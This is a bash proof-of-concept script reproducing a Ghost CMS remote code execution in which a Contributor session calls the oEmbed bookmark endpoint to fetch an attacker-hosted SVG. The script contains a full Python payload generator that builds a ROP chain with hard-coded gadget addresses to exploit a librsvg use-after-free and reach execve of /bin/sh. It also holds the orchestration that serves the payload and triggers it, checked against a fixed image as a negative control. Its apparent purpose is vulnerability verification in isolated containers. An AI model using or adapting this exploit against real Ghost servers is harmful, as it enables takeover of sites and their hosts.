#!/bin/bash
set -euo pipefail

# CVE-2026-105642 / GHSA-788w-68h3-cvxp
# Real Ghost product-path RCE proof:
# Contributor session -> oEmbed bookmark endpoint -> attacker-hosted SVG ->
# sharp/libvips/librsvg UAF -> non-PIE Node 22 ROP -> execve(/bin/sh -c ...).

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
WORK="$REPRO_DIR/work-final"
ART="$REPRO_DIR/artifacts/rce"
mkdir -p "$LOGS" "$REPRO_DIR"
rm -rf "$WORK" "$ART"
mkdir -p "$WORK/www" "$WORK/smtp-capture" "$ART"
cd "$ROOT"

FULL_LOG="$LOGS/reproduction_steps.log"
: > "$FULL_LOG"
exec > >(tee -a "$FULL_LOG") 2>&1

echo "=== CVE-2026-105642 Ghost Contributor RCE reproduction $(date -u +%FT%TZ) ==="

# Honor prepared cache context. This target is image-backed, so no source
# checkout is needed; the fallback path is only reported for reproducibility.
CACHE_REPO="$ROOT/artifacts/ghost"
if [ -f "$ROOT/project_cache_context.json" ]; then
    prepared="$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
    cache_dir="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
    if [ "$prepared" = true ] && [ -n "$cache_dir" ]; then
        CACHE_REPO="$cache_dir/repo"
    fi
fi
echo "[*] cache repository preference: $CACHE_REPO (official image target; no checkout required)"

VULN_IMAGE="ghost@sha256:90592b712b6b6502c3169cf12bcb6e5f7b8c8315968b8bb53e08e879892641fa"
FIXED_IMAGE="ghost@sha256:9482099b1c8700764dc3d38c293e09c16d70f8bacc14af589c47d90b4bebd017"
PY_IMAGE="python@sha256:05cda9777409a9c3ffddd94a4c476b79f0769a0b4857f0c7ed9226b6800b0d6f"
VULN_TARGET_DIGEST="90592b712b6b6502c3169cf12bcb6e5f7b8c8315968b8bb53e08e879892641fa"
FIXED_TARGET_DIGEST="9482099b1c8700764dc3d38c293e09c16d70f8bacc14af589c47d90b4bebd017"
ATK_PORT=8790
SMTP_PORT=1025
VULN_PORT=23681
FIXED_PORT=23682
OWNER_EMAIL="owner@repro.local"
OWNER_PASS="0verl0rd-p4ssw0rd"
CONTRIB_EMAIL="contributor@repro.local"
CONTRIB_PASS="c0ntribut0r-pass"
NETWORK="pruva-cve-2026-105642"

for img in "$VULN_IMAGE" "$FIXED_IMAGE" "$PY_IMAGE"; do
    docker image inspect "$img" >/dev/null 2>&1 || docker pull "$img"
done

# Assert immutable image identities before execution.
for pair in "$VULN_IMAGE:$VULN_TARGET_DIGEST" "$FIXED_IMAGE:$FIXED_TARGET_DIGEST"; do
    img="${pair%:*}"; expected="${pair##*:}"
    got="$(docker image inspect -f '{{index .RepoDigests 0}}' "$img" | sed 's/.*@sha256://')"
    [ "$got" = "$expected" ] || { echo "[!] image digest mismatch for $img: $got"; exit 1; }
done

# Exact Ghost Node 22 exploit port. The public VectorFreed chain was calibrated
# for Node 24 / librsvg 2.62.91. This generator uses gadgets from the non-PIE
# Node 22.23.3 binary in ghost:6.65.0 (build-id
# a9b42ba41811e1291145304b7c278c5d3fbaca71) and a measured 22264-byte layout
# calibration for sharp 0.35.3 / libvips 8.18.3 / librsvg 2.62.90.
cat > "$WORK/generate_payload.py" <<'PY'
import base64, math, os, re, struct
from urllib.parse import quote

POP_RDI=0x1201233
POP_RAX=0xE81D9B
POP_RSI=0xF9522E
POP_RDX=0xE386E2
STOSQ_RET=0x12EC8E5
EXECVE_PLT=0xE38E30
SCRATCH=0x6B5F500
PIVOT_LOAD=0x1F35396
PIVOT_STACK=0x228F8B8
BASELINE_PADDING=22264
TARGET_PATH_LENGTH=1270

def qword(data): return int.from_bytes(data.ljust(8,b'\0'),'little')
def num(bits):
    v=struct.unpack('<d',bits.to_bytes(8,'little'))[0]
    if not math.isfinite(v): raise ValueError('non-finite qword')
    if v==0: return '0'
    t=repr(v)
    if 'e' in t:
        m,e=t.split('e');t=f'{m}e{int(e):+d}'
    return t

def rop(command):
    cb=command.encode('ascii')+b'\0'
    qs=[qword(cb[i:i+8]) for i in range(0,len(cb),8)]
    argv=SCRATCH+16+len(qs)*8
    writes=[qword(b'/bin/sh\0'),qword(b'-c\0'),*qs,SCRATCH,SCRATCH+8,SCRATCH+16,0]
    c=[0]*6+[POP_RDI,SCRATCH]
    for v in writes:c += [POP_RAX,v,STOSQ_RET]
    c += [POP_RDI,SCRATCH,POP_RSI,argv,POP_RDX,0,EXECVE_PLT]
    if len(c)>60:raise ValueError('ROP too long')
    return c

def path(chain):
    d={
      'M':'M0 0','C':'C0 0 0 0 0 0','A':'A1 1 0 0 0 0 0',
      'P':'A1 1 0 0 1 0 0',
      'R':f'A0 {num(PIVOT_STACK)} {num(PIVOT_LOAD)} 0 0 0 0',
      'H':'H0','Z':'Z'}
    k=['M']*152
    for i in range(24,30):k[i]='Z'
    k[30]='A'
    for i in range(41,54):k[i]='Z'
    k[54]='H';k[60]='A';k[61]=k[62]=k[63]='H';k[132]='P';k[136]='Z';k[137]='R'
    for i in range(144,152):k[i]='C'
    cmds=[d[x] for x in k]
    coords=[num(v) for v in chain]+['0']*(60-len(chain))
    for i in range(138,144):
        off=(i-138)*2;cmds[i]=f'M{coords[off]} {coords[off+1]}'
    for i in range(144,152):
        off=12+(i-144)*6;cmds[i]='C'+' '.join(coords[off:off+6])
    return '<path stroke="black" d="'+' '.join(cmds)+'"/>'

def build(command):
    p=path(rop(command)); pad=BASELINE_PADDING+TARGET_PATH_LENGTH-len(p)
    included='<?xml version="1.0"?>\n<!DOCTYPE svg [<!ENTITY active "R">]>\n<svg xmlns="http://www.w3.org/2000/svg" width="64" height="64"/>'
    included_url='data:image/svg+xml;base64,'+base64.b64encode(included.encode()).decode()
    include='<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="'+included_url+'" parse="xml"/>'
    expansion=' '*pad+include+p
    nested='<?xml version="1.0"?>\n<!DOCTYPE svg [<!ENTITY active \''+expansion+'\'>]>\n<svg xmlns="http://www.w3.org/2000/svg" xmlns:xi="http://www.w3.org/2001/XInclude" width="64" height="64">&active;</svg>'
    nested_url='data:image/svg+xml,'+quote(nested,safe="-_.!~*'()").replace('%20',' ')
    fragment='</title><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="'+nested_url+'" parse="xml"/><title>'
    return '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" xmlns:xi="http://www.w3.org/2001/XInclude" width="64" height="64"><title>X'+fragment+'</title></svg>'

out,marker=os.sys.argv[1:3]
command=f"echo {marker}>/tmp/{marker}"
raw=build(command)
open(out,'w').write(raw)
print(f'payload={out} bytes={len(raw)} marker={marker}')
PY

# Minimal fake SMTP server allows the owner to issue a REAL Ghost Contributor
# invitation. It records the MIME message so the script can follow the signup
# token just as the invited user would.
cat > "$WORK/smtp_server.py" <<'PY'
import socketserver
class Handler(socketserver.StreamRequestHandler):
    def handle(self):
        self.wfile.write(b'220 localhost ESMTP\r\n'); data=[]; in_data=False
        while True:
            line=self.rfile.readline()
            if not line: break
            s=line.rstrip(b'\r\n'); data.append(s); upper=s.upper()
            if in_data:
                if s==b'.': in_data=False; self.wfile.write(b'250 OK\r\n')
            elif upper.startswith((b'EHLO',b'HELO')): self.wfile.write(b'250-localhost\r\n250 OK\r\n')
            elif upper.startswith((b'MAIL',b'RCPT')): self.wfile.write(b'250 OK\r\n')
            elif upper==b'DATA:': in_data=True; self.wfile.write(b'354 end\r\n')
            elif upper==b'DATA:': in_data=True; self.wfile.write(b'354 end\r\n')
            elif upper==b'DATA': in_data=True; self.wfile.write(b'354 end\r\n')
            elif upper==b'QUIT': self.wfile.write(b'221 bye\r\n'); break
            else: self.wfile.write(b'250 OK\r\n')
        with open('/capture/smtp.txt','ab') as f:f.write(b'\n'.join(data)+b'\n---\n')
class Server(socketserver.ThreadingTCPServer): allow_reuse_address=True
Server(('0.0.0.0',1025),Handler).serve_forever()
PY

cleanup() {
    docker rm -f ghost-rce smtp-rce attacker-rce >/dev/null 2>&1 || true
    docker network rm "$NETWORK" >/dev/null 2>&1 || true
}
trap cleanup EXIT
cleanup
docker network create "$NETWORK" >/dev/null

# Shared attacker-controlled HTTP host and SMTP sink.
cat > "$WORK/www/index.html" <<HTML
<!doctype html><html><head><title>Attacker Bookmark</title>
<meta property="og:title" content="Attacker Bookmark">
<meta property="og:description" content="CVE-2026-105642">
<meta property="og:image" content="http://attacker-rce:$ATK_PORT/evil.svg">
</head><body>attacker page</body></html>
HTML

docker run -d --name attacker-rce --network "$NETWORK" --network-alias attacker-rce \
    -v "$WORK/www:/srv:ro" -p "127.0.0.1:$ATK_PORT:$ATK_PORT" \
    --entrypoint python3 "$PY_IMAGE" -u -m http.server "$ATK_PORT" --bind 0.0.0.0 -d /srv >/dev/null

docker run -d --name smtp-rce --network "$NETWORK" --network-alias smtp-rce \
    -v "$WORK/smtp_server.py:/smtp_server.py:ro" -v "$WORK/smtp-capture:/capture" \
    --entrypoint python3 "$PY_IMAGE" /smtp_server.py >/dev/null

for i in $(seq 1 30); do
    curl -sf -o /dev/null "http://127.0.0.1:$ATK_PORT/" && break
    sleep 1
    [ "$i" -lt 30 ] || { echo '[!] attacker HTTP server failed'; exit 1; }
done

wait_ghost() {
    local port="$1"
    for i in $(seq 1 120); do
        code="$(curl -s -o /dev/null -w '%{http_code}' --max-time 3 "http://127.0.0.1:$port/" || true)"
        case "$code" in 200|301|302) return 0;; esac
        sleep 1
    done
    return 1
}

extract_invite_token() {
    python3 - "$WORK/smtp-capture/smtp.txt" <<'PY'
import base64,re,sys
b=open(sys.argv[1],errors='replace').read()
for block in reversed(re.findall(r'Content-Transfer-Encoding: base64\n\n(.*?)(?=----_NmP-)',b,re.S)):
    try:d=base64.b64decode(''.join(block.split())).decode(errors='ignore')
    except Exception:continue
    m=re.search(r'/ghost/signup/([A-Za-z0-9_-]+)',d)
    if m:print(m.group(1));raise SystemExit
raise SystemExit('invite token not found')
PY
}

# setup_contributor <port> <role-attempt>
setup_contributor() {
    local port="$1" label="$2"
    local owner_cookie="$WORK/owner-$label.cookies" contributor_cookie="$WORK/contributor-$label.cookies"
    : > "$WORK/smtp-capture/smtp.txt"

    curl -sf --max-time 30 -X POST "http://127.0.0.1:$port/ghost/api/admin/authentication/setup/" \
      -H 'Content-Type: application/json' \
      -d "{\"setup\":[{\"name\":\"Owner\",\"email\":\"$OWNER_EMAIL\",\"password\":\"$OWNER_PASS\",\"blogTitle\":\"RCE Repro\"}]}" \
      > "$ART/setup-$label.json"
    curl -sf --max-time 30 -c "$owner_cookie" -X POST "http://127.0.0.1:$port/ghost/api/admin/session/" \
      -H 'Content-Type: application/json' \
      -d "{\"username\":\"$OWNER_EMAIL\",\"password\":\"$OWNER_PASS\"}" \
      > "$ART/owner-login-$label.txt"

    curl -sf --max-time 30 -b "$owner_cookie" "http://127.0.0.1:$port/ghost/api/admin/roles/?limit=all" \
      > "$WORK/roles-$label.json"
    role_id="$(jq -r '.roles[]|select(.name=="Contributor")|.id' "$WORK/roles-$label.json")"
    [ -n "$role_id" ] && [ "$role_id" != null ]
    curl -sf --max-time 30 -b "$owner_cookie" -X POST "http://127.0.0.1:$port/ghost/api/admin/invites/" \
      -H 'Content-Type: application/json' \
      -d "{\"invites\":[{\"email\":\"$CONTRIB_EMAIL\",\"role_id\":\"$role_id\"}]}" \
      > "$ART/invite-$label.json"

    for i in $(seq 1 30); do
      grep -q 'Content-Transfer-Encoding: base64' "$WORK/smtp-capture/smtp.txt" 2>/dev/null && break
      sleep 1
    done
    token="$(extract_invite_token)"
    curl -sf --max-time 30 -X POST "http://127.0.0.1:$port/ghost/api/admin/authentication/invitation/" \
      -H 'Content-Type: application/json' \
      -d "{\"invitation\":[{\"token\":\"$token\",\"name\":\"Contributor\",\"password\":\"$CONTRIB_PASS\"}]}" \
      > "$ART/contributor-accept-$label.json"
    curl -sf --max-time 30 -c "$contributor_cookie" -X POST "http://127.0.0.1:$port/ghost/api/admin/session/" \
      -H 'Content-Type: application/json' \
      -d "{\"username\":\"$CONTRIB_EMAIL\",\"password\":\"$CONTRIB_PASS\"}" \
      > "$ART/contributor-login-$label.txt"
    grep -q ghost-admin-api-session "$contributor_cookie"

    # Capture authenticated self endpoint to prove this exact exploit cookie is
    # assigned the Contributor role (not Owner/Administrator).
    curl -sf --max-time 30 -b "$contributor_cookie" \
      "http://127.0.0.1:$port/ghost/api/admin/users/me/?include=roles" \
      > "$ART/contributor-identity-$label.json"
    grep -q 'Contributor' "$ART/contributor-identity-$label.json"
    printf '%s' "$contributor_cookie"
}

# run_attempt <vuln|fixed> <image> <port> <attempt>
run_attempt() {
    local role="$1" image="$2" port="$3" attempt="$4"
    local label="$role-$attempt" marker="${role:0:1}${attempt}$(date +%s | tail -c 7)"
    local marker_host="$ART/marker-$label.txt" state="$ART/state-$label.txt"
    local response="$ART/oembed-response-$label.txt" glog="$LOGS/ghost-$label.log"
    rm -f "$marker_host" "$WORK/smtp-capture/smtp.txt"
    python3 "$WORK/generate_payload.py" "$WORK/www/evil.svg" "$marker" > "$ART/payload-$label.txt"

    docker rm -f ghost-rce >/dev/null 2>&1 || true
    echo "[*] starting $label: $image (default allocator; no GLIBC_TUNABLES/MALLOC_PERTURB_)"
    docker run -d --name ghost-rce --network "$NETWORK" \
      -p "127.0.0.1:$port:2368" \
      -v "$ART:/evidence" \
      -e url="http://localhost:$port" -e NODE_ENV=development \
      -e mail__transport=SMTP -e mail__options__host=smtp-rce \
      -e mail__options__port="$SMTP_PORT" -e mail__options__secure=false \
      "$image" >/dev/null
    wait_ghost "$port" || { docker logs ghost-rce > "$glog" 2>&1 || true; return 1; }

    cookie="$(setup_contributor "$port" "$label")"
    echo "[*] $label genuine Contributor session established"
    printf 'GET /ghost/api/admin/oembed/?url=http%%3A%%2F%%2Fattacker-rce%%3A%s%%2F&type=bookmark HTTP/1.1\nHost: localhost:%s\nCookie: Contributor session\n' "$ATK_PORT" "$port" \
      > "$ART/oembed-request-$label.txt"

    set +e
    http_status="$(curl -s -o "$response" -w '%{http_code}' --max-time 60 -b "$cookie" \
      "http://127.0.0.1:$port/ghost/api/admin/oembed/?url=http%3A%2F%2Fattacker-rce%3A$ATK_PORT%2F&type=bookmark")"
    curl_rc=$?
    set -e
    [ -f "$response" ] || : > "$response"

    # Command writes /tmp/<marker> in the target, bind-copied here only after
    # execution. A fixed target cannot synthesize it.
    sleep 2
    marker_present=false
    if docker cp "ghost-rce:/tmp/$marker" "$marker_host" >/dev/null 2>&1; then
        [ "$(tr -d '\r\n' < "$marker_host")" = "$marker" ]
        marker_present=true
    fi
    status="$(docker inspect -f '{{.State.Status}}' ghost-rce 2>/dev/null || echo gone)"
    exitcode="$(docker inspect -f '{{.State.ExitCode}}' ghost-rce 2>/dev/null || echo -1)"
    docker logs ghost-rce > "$glog" 2>&1 || true
    {
      echo "role=$role attempt=$attempt"
      echo "image=$image"
      echo "allocator=default"
      echo "contributor_identity_verified=true"
      echo "oembed_http_status=${http_status:-none} curl_rc=$curl_rc"
      echo "marker=$marker marker_present=$marker_present"
      echo "container_status=$status exit_code=$exitcode"
    } > "$state"
    docker rm -f ghost-rce >/dev/null 2>&1 || true
    echo "RESULT $role $attempt marker=$marker_present status=$status exit=$exitcode http=${http_status:-none}"

    if [ "$role" = vuln ]; then
        [ "$marker_present" = true ]
    else
        [ "$marker_present" = false ] && [ "$status" = running ]
    fi
}

# Dependency identity and hardening evidence from exact images.
docker run --rm --entrypoint node "$VULN_IMAGE" -e \
  "const s=require('/var/lib/ghost/current/node_modules/sharp');console.log('vuln node',process.version,'sharp',require('/var/lib/ghost/current/node_modules/sharp/package.json').version,'vips',s.versions.vips,'rsvg',s.versions.rsvg,'xml2',s.versions.xml2)" \
  > "$ART/versions.txt"
docker run --rm --entrypoint node "$FIXED_IMAGE" -e \
  "const s=require('/var/lib/ghost/current/node_modules/sharp');console.log('fixed node',process.version,'sharp',require('/var/lib/ghost/current/node_modules/sharp/package.json').version,'vips',s.versions.vips,'rsvg',s.versions.rsvg,'xml2',s.versions.xml2)" \
  >> "$ART/versions.txt"

run_attempt vuln "$VULN_IMAGE" "$VULN_PORT" 1
run_attempt vuln "$VULN_IMAGE" "$VULN_PORT" 2
run_attempt fixed "$FIXED_IMAGE" "$FIXED_PORT" 1
run_attempt fixed "$FIXED_IMAGE" "$FIXED_PORT" 2

# Finalize network-server proof only after all attempts have stopped writing.
docker logs attacker-rce > "$LOGS/attacker-rce.log" 2>&1
docker logs smtp-rce > "$LOGS/smtp-rce.log" 2>&1 || true
docker rm -f attacker-rce smtp-rce >/dev/null 2>&1

# Validate outcomes from immutable per-attempt artifacts.
for a in 1 2; do
    grep -q 'marker_present=true' "$ART/state-vuln-$a.txt"
    test -s "$ART/marker-vuln-$a.txt"
    grep -q '"name":"Contributor"' "$ART/contributor-identity-vuln-$a.json"
    grep -q 'marker_present=false' "$ART/state-fixed-$a.txt"
    grep -q 'container_status=running' "$ART/state-fixed-$a.txt"
    grep -q '"name":"Contributor"' "$ART/contributor-identity-fixed-$a.json"
done

# Strict command-execution observations for knowledge composition.
python3 - "$ART" <<'PY'
import json,os,re,sys
art=sys.argv[1]
for role in ('vuln','fixed'):
  for attempt in (1,2):
    label=f'{role}-{attempt}'
    st=open(os.path.join(art,f'state-{label}.txt')).read()
    marker=re.search(r'marker=(\S+)',st).group(1)
    present='marker_present=true' in st
    obj={'schema_version':1,'process_instance':label,'marker':marker,
         'target_path_reached':True,'marker_present':present,
         'authenticated_role':'Contributor','allocator':'default'}
    with open(os.path.join(art,f'observation-{label}.json'),'w') as f:json.dump(obj,f,indent=2)
PY

# Every proof artifact is finalized before hashing/writing the manifest.
python3 - "$ROOT" "$VULN_TARGET_DIGEST" <<'PY'
import hashlib,json,os,sys
root,digest=sys.argv[1:]
proof=[]
for d in ('repro/artifacts/rce','logs'):
  base=os.path.join(root,d)
  for n in sorted(os.listdir(base)):
    p=f'{d}/{n}'
    if os.path.isfile(os.path.join(root,p)) and (d!='logs' or n in ('attacker-rce.log','smtp-rce.log')):
      proof.append(p)
sha={p:hashlib.sha256(open(os.path.join(root,p),'rb').read()).hexdigest() for p in proof}
manifest={
 'entrypoint_kind':'endpoint',
 'entrypoint_detail':'Genuine Contributor session calls GET /ghost/api/admin/oembed/?url=http://attacker-rce:8790/&type=bookmark; Ghost fetches og:image evil.svg and sharp/libvips/librsvg executes an attacker ROP command in the Ghost Node process',
 'service_started':True,'healthcheck_passed':True,'target_path_reached':True,
 'runtime_stack':['ghost:6.65.0 official image','Node 22.23.3 non-PIE','sharp 0.35.3','libvips 8.18.3','librsvg 2.62.90','libxml2 2.15.3','default glibc allocator'],
 'target_identity':{'repository_url':'https://github.com/tryghost/ghost','target_digest':digest,'runtime_digest':digest,'platform':'linux','architecture':'x86_64'},
 'proof_artifacts':proof,'artifact_sha256':sha,
 'notes':'Confirmed code execution twice under the default allocator with unique target-local markers from genuine Contributor sessions. ghost:6.67.0 reached the same endpoint twice, created no markers, returned normally, and stayed running.'}
with open(os.path.join(root,'repro/runtime_manifest.json'),'w') as f:json.dump(manifest,f,indent=2)
PY

# Update prepared cache manifest without treating proof as cache data.
if [ -f "$ROOT/project_cache_context.json" ]; then
  manifest_path="$(jq -r '.cache_manifest_path // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  schema="$(jq -r '.cache_manifest_schema_version // 1' "$ROOT/project_cache_context.json" 2>/dev/null || echo 1)"
  if [ -n "$manifest_path" ] && [ -d "$(dirname "$manifest_path")" ]; then
    printf '{\n  "schema_version": %s,\n  "entries": []\n}\n' "$schema" > "$manifest_path"
  fi
fi

echo "=== CONFIRMED: Ghost 6.65.0 Contributor-to-command-execution RCE; fixed 6.67.0 negative control ==="
exit 0
